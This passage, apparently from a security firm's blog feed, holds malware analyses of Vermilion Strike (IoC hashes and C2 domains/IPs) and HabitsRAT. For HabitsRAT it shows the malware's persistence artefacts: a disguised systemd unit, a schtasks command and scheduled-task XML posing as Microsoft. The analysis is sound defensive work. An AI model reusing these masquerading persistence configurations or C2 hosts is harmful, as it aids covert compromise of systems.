(&lt;a href="https://analyze.intezer.com/files/e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5&lt;/a&gt;).
It has a lot of shared code with the sample from 2019. This sample and another
Windows version of Vermilion Strike
(&lt;code&gt;c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5&lt;/code&gt;) includes a
similar version string as the ELF version. The version string in these samples
is &lt;code&gt;W1.0.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig12.png" title="Internal version string in recent Windows versions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Internal version string in recent Windows versions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Vermilion Strike and other Linux threats remain a constant threat. The
predominance of Linux servers in the cloud and its continued rise invites APTs
to modify their toolsets in order to navigate the existing environment. Linux
threats often have low detection rates compared to their Windows counterparts
due to reasons discussed in
&lt;a href="https://intezer.com/blog/malware-analysis/why-we-should-be-paying-more-attention-to-linux-threats/?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Why we Should be Paying More Attention to Linux Threats&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vermilion Strike is not the only Linux port of Cobalt Strike&amp;rsquo;s Beacon. Another
example is the open-source project &lt;a href="https://github.com/darkr4y/geacon"target="_blank" rel="noopener"&gt;geacon&lt;/a&gt;,
a Go-based implementation. Vermilion Strike may not be the last Linux
implementation of Beacon.&lt;/p&gt;
&lt;h2&gt;Detection and Response&lt;span class="hx:absolute hx:-mt-20" id="detection-and-response"&gt;&lt;/span&gt;
&lt;a href="#detection-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Intezer can detect both Linux and Windows variants of Vermilion Strike, based
on code reuse, TTPs, and strings. Shown below are the verdicts for both
versions.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig13.png" title="Intezer verdict of Windows version of Vermilion Strike" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer verdict of Windows version of Vermilion Strike&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Intezer
&lt;a href="https://analyze.intezer.com/files/07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;verdict&lt;/a&gt;
of Windows version of Vermilion Strike.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig14.png" title="Intezer verdict of Linux version of Vermilion Strike" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intezer verdict of Linux version of Vermilion Strike&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Intezer
&lt;a href="https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;verdict&lt;/a&gt;
of Linux version of Vermilion Strike.&lt;/p&gt;
&lt;h3&gt;Detect if a Machine in Your Network Has Been Compromised&lt;span class="hx:absolute hx:-mt-20" id="detect-if-a-machine-in-your-network-has-been-compromised"&gt;&lt;/span&gt;
&lt;a href="#detect-if-a-machine-in-your-network-has-been-compromised" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We recommend using the IoCs section below to ensure that the Vermilion Strike
process does not exist anywhere on your system.&lt;/p&gt;
&lt;h3&gt;Response&lt;span class="hx:absolute hx:-mt-20" id="response"&gt;&lt;/span&gt;
&lt;a href="#response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;If you are a victim of this operation, take the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kill the process and delete all files related to the malware.&lt;/li&gt;
&lt;li&gt;Make sure that your machine is clean and running only trusted code.&lt;/li&gt;
&lt;li&gt;Make sure that your software is up-to-date with the latest versions and
security patches and configured to security best practices.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Intezer would like to thank McAfee ATR for their help during the research
process.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;ELF&lt;span class="hx:absolute hx:-mt-20" id="elf"&gt;&lt;/span&gt;
&lt;a href="#elf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;PE&lt;span class="hx:absolute hx:-mt-20" id="pe"&gt;&lt;/span&gt;
&lt;a href="#pe" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Stager&lt;span class="hx:absolute hx:-mt-20" id="stager"&gt;&lt;/span&gt;
&lt;a href="#stager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Beacon&lt;span class="hx:absolute hx:-mt-20" id="beacon"&gt;&lt;/span&gt;
&lt;a href="#beacon" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;C2&lt;span class="hx:absolute hx:-mt-20" id="c2"&gt;&lt;/span&gt;
&lt;a href="#c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;160.202.163.100&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;update.microsofthk[.]com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;update.microsoftkernel[.]com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;amazon.hksupd[.]com&lt;/code&gt;&lt;/p&gt;</description></item><item><title>HabitsRAT Used to Target Linux and Windows Servers</title><link>https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/</link><pubDate>Tue, 20 Apr 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/</guid><description>
&lt;p&gt;We have discovered a new malware written in Go, which we are calling HabitsRAT,
targeting both Windows and Linux machines. The Windows version of the malware
was first reported on by
&lt;a href="https://krebsonsecurity.com/2021/03/no-i-did-not-hack-your-ms-exchange-server/"target="_blank" rel="noopener"&gt;Brian Krebs&lt;/a&gt;
and
&lt;a href="https://www.shadowserver.org/news/shadowserver-special-report-exchange-scanning-5/"target="_blank" rel="noopener"&gt;The Shadowserver Foundation&lt;/a&gt;
in attacks against Microsoft Exchange servers. In addition to this version, we
have identified a newer Windows variant and a variant targeting Linux
environments. As of this writing, the Linux version is undetected by all
Antivirus engines on VirusTotal. We assess that the Linux version is used to
target Linux servers in an adjacent campaign to the one reported by The
Shadowserver Foundation. The malware allows the attacker to control the
compromised machine remotely. To protect themself from being taken over by
others, the attacker&amp;rsquo;s commands are signed by a private key that only the
attacker has access to. The malware does not execute commands that are not
signed by the correct key, suggesting that the malware has been developed by a
sophisticated programmer.&lt;/p&gt;
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;On March 28th, Brian Krebs published a
&lt;a href="https://krebsonsecurity.com/2021/03/no-i-did-not-hack-your-ms-exchange-server/"target="_blank" rel="noopener"&gt;blog post&lt;/a&gt;
about attacks against Microsoft Exchange servers. In one of those attacks, a
webshell called &amp;ldquo;Babydraco&amp;rdquo; was deployed. The webshell was used to deploy a new
malware. The binary had the filename &lt;code&gt;krebsonsecurity.exe&lt;/code&gt; and used a Command
and Control (C2) server located at &lt;code&gt;brian[.]krebsonsecurity[.]top&lt;/code&gt;. This
malware turns out to be a remote access trojan (RAT) that has been written to
target both Windows and Linux machines. Based on strings found in the malware,
we have named it HabitsRAT.&lt;/p&gt;
&lt;p&gt;While the Windows version of the RAT has been documented being installed on
compromised Microsoft Exchange servers, it is not known what type of servers
the Linux version is used against. Still, in the last couple of months,
numerous remote code execution (RCE) vulnerabilities have been disclosed in
hardware and services running on top of Linux. About a month ago, CISA released
an advisory urging users of F5 BIG-IP to apply patches to address RCE
vulnerabilities.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The HabitsRAT is a simple backdoor that allows the malware operator to execute
arbitrary code on the infected machine. While the backdoor is simple in design,
the malware has functionality making the attack more complex than what is
normally seen. The malware is written in Go and targets at least both Windows
and Linux machines. The structure for the Windows version of the malware,
&lt;a href="https://github.com/goretk/redress/"target="_blank" rel="noopener"&gt;generated by redress&lt;/a&gt;, is shown in the
code snippet below. Most of the code is shared between the Windows version and
the Linux version. The operating system-specific code has been placed in the
files &lt;code&gt;commandplatform_windows.go&lt;/code&gt;, &lt;code&gt;keyplatform_windows.go&lt;/code&gt; and
&lt;code&gt;persistencehandler_windows.go&lt;/code&gt;. The rest of the files are shared with the
Linux version.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Package main: C:/Users/user/habits/habits-client
File: commandhandler.go
RunSignedCommand Lines: 17 to 35 (18)
File: commandplatform_windows.go
RunCommand Lines: 8 to 13 (5)
File: keyhandler.go
GetOrGenerateKey Lines: 13 to 23 (10)
GenerateKey Lines: 23 to 42 (19)
GetKeyStore Lines: 42 to 50 (8)
SetKey Lines: 50 to 68 (18)
GetKey Lines: 68 to 77 (9)
File: keyplatform_windows.go
GetRootKeyStore Lines: 11 to 19 (8)
GetUserKeyStore Lines: 19 to 27 (8)
IsRoot Lines: 27 to 49 (22)
File: main.go
main Lines: 17 to 34 (17)
File: persistencehandler.go
InstallPersistence Lines: 9 to 17 (8)
CopyBinary Lines: 17 to 22 (5)
File: persistencehandler_windows.go
CheckPersistence Lines: 11 to 21 (10)
GetBinStoreRoot Lines: 21 to 29 (8)
GetBinStoreUser Lines: 29 to 37 (8)
InstallPersistRoot Lines: 37 to 98 (61)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The Linux source code structure is shown in the code snippet below. The Linux
specific code has been placed in the files &lt;code&gt;commandplatform_linux.go&lt;/code&gt;,
&lt;code&gt;keyplatform_linux.go&lt;/code&gt; and &lt;code&gt;persistencehandler_systemd_linux.go&lt;/code&gt;.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Package main: C:/Users/user/habits/habits-client
File: commandhandler.go
RunSignedCommand Lines: 17 to 35 (18)
File: commandplatform_linux.go
RunCommand Lines: 8 to 13 (5)
File: keyhandler.go
GetOrGenerateKey Lines: 13 to 23 (10)
GenerateKey Lines: 23 to 46 (23)
GetKeyStore Lines: 46 to 54 (8)
SetKey Lines: 54 to 72 (18)
GetKey Lines: 72 to 84 (12)
IsRootAsString Lines: 84 to 86 (2)
File: keyplatform_linux.go
GetRootKeyStore Lines: 9 to 16 (7)
GetUserKeyStore Lines: 16 to 17 (1)
File: main.go
main Lines: 17 to 34 (17)
File: persistencehandler.go
InstallPersistence Lines: 9 to 17 (8)
CopyBinary Lines: 17 to 20 (3)
File: persistencehandler_systemd_linux.go
Systemd_CheckPersistence Lines: 11 to 25 (14)
Systemd_GetBinStoreUser Lines: 25 to 33 (8)
Systemd_InstallPersistRoot Lines: 33 to 64 (31)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Installation&lt;span class="hx:absolute hx:-mt-20" id="installation"&gt;&lt;/span&gt;
&lt;a href="#installation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When the binary is run, it installs itself into a folder. The Windows version&amp;rsquo;s
location is &lt;code&gt;%SystemDrive%\Windows\Defender\MsMpEng.exe&lt;/code&gt; while the Linux version
is &lt;code&gt;$HOME/.config/polkitd/polkitd&lt;/code&gt;. This will result in the malware being
installed under &lt;code&gt;/root&lt;/code&gt; if it&amp;rsquo;s being run with root privileges.&lt;/p&gt;
&lt;p&gt;After the malware has installed itself, it checks if the persistence method has
been set up. If it hasn&amp;rsquo;t, it goes ahead and sets it up. On Linux, it uses a
&amp;ldquo;systemd&amp;rdquo; unit file. The malware checks if it&amp;rsquo;s already configured by executing
the command &lt;code&gt;systemctl status polkitd&lt;/code&gt;, as shown in Figure 1.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/images/fig1.png" title="Figure 1: Linux version of the malware checks if persistence has been configured already." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Linux version of the malware checks if persistence has been configured already.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The systemd unit file is created at &lt;code&gt;/etc/systemd/system/polkitd.service&lt;/code&gt; and
its content is shown in the code snippet below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;[Unit]
Description=Authorization Manager
After=network.target
[Service]
GuessMainPID=no
ExecStart=&amp;#34;/path/to/binary&amp;#34;
Restart=always
[Install]
WantedBy=multi-user.target&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The Windows version of HabitsRAT uses scheduled tasks for persistence. First,
it writes the scheduled task &amp;ldquo;xml&amp;rdquo; to a file located at
&lt;code&gt;%TEMP%\krebsonsecurity.xml&lt;/code&gt;. The content of the file is shown in the snippet
below. The task is added by executing the shell command:
&lt;code&gt;sCHtAsks.exe /create /xml %TEMP%\krebsonsecurity.xml /tn WindowsDefenderScan&lt;/code&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-16&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;Task&lt;/span&gt; &lt;span class="na"&gt;version=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1.2&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://schemas.microsoft.com/windows/2004/02/mit/task&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RegistrationInfo&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Date&amp;gt;&lt;/span&gt;2020-12-18T09:56:46.3915265&lt;span class="nt"&gt;&amp;lt;/Date&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Author&amp;gt;&lt;/span&gt;Microsoft Corporation&lt;span class="nt"&gt;&amp;lt;/Author&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;URI&amp;gt;&lt;/span&gt;\Microsoft\MicrosoftUpdater&lt;span class="nt"&gt;&amp;lt;/URI&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/RegistrationInfo&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Triggers&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;BootTrigger&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Enabled&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/Enabled&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Delay&amp;gt;&lt;/span&gt;PT1M&lt;span class="nt"&gt;&amp;lt;/Delay&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/BootTrigger&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Triggers&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Principals&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Principal&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Author&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;UserId&amp;gt;&lt;/span&gt;S-1-5-18&lt;span class="nt"&gt;&amp;lt;/UserId&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RunLevel&amp;gt;&lt;/span&gt;HighestAvailable&lt;span class="nt"&gt;&amp;lt;/RunLevel&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Principal&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Principals&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Settings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;MultipleInstancesPolicy&amp;gt;&lt;/span&gt;IgnoreNew&lt;span class="nt"&gt;&amp;lt;/MultipleInstancesPolicy&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;DisallowStartIfOnBatteries&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/DisallowStartIfOnBatteries&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;StopIfGoingOnBatteries&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/StopIfGoingOnBatteries&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;AllowHardTerminate&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/AllowHardTerminate&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;StartWhenAvailable&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/StartWhenAvailable&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RunOnlyIfNetworkAvailable&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/RunOnlyIfNetworkAvailable&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;IdleSettings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;StopOnIdleEnd&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/StopOnIdleEnd&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RestartOnIdle&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/RestartOnIdle&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/IdleSettings&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;AllowStartOnDemand&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/AllowStartOnDemand&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Enabled&amp;gt;&lt;/span&gt;true&lt;span class="nt"&gt;&amp;lt;/Enabled&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Hidden&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/Hidden&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;RunOnlyIfIdle&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/RunOnlyIfIdle&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;WakeToRun&amp;gt;&lt;/span&gt;false&lt;span class="nt"&gt;&amp;lt;/WakeToRun&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;ExecutionTimeLimit&amp;gt;&lt;/span&gt;PT0S&lt;span class="nt"&gt;&amp;lt;/ExecutionTimeLimit&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Priority&amp;gt;&lt;/span&gt;7&lt;span class="nt"&gt;&amp;lt;/Priority&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Settings&amp;gt;&lt;/span&gt;
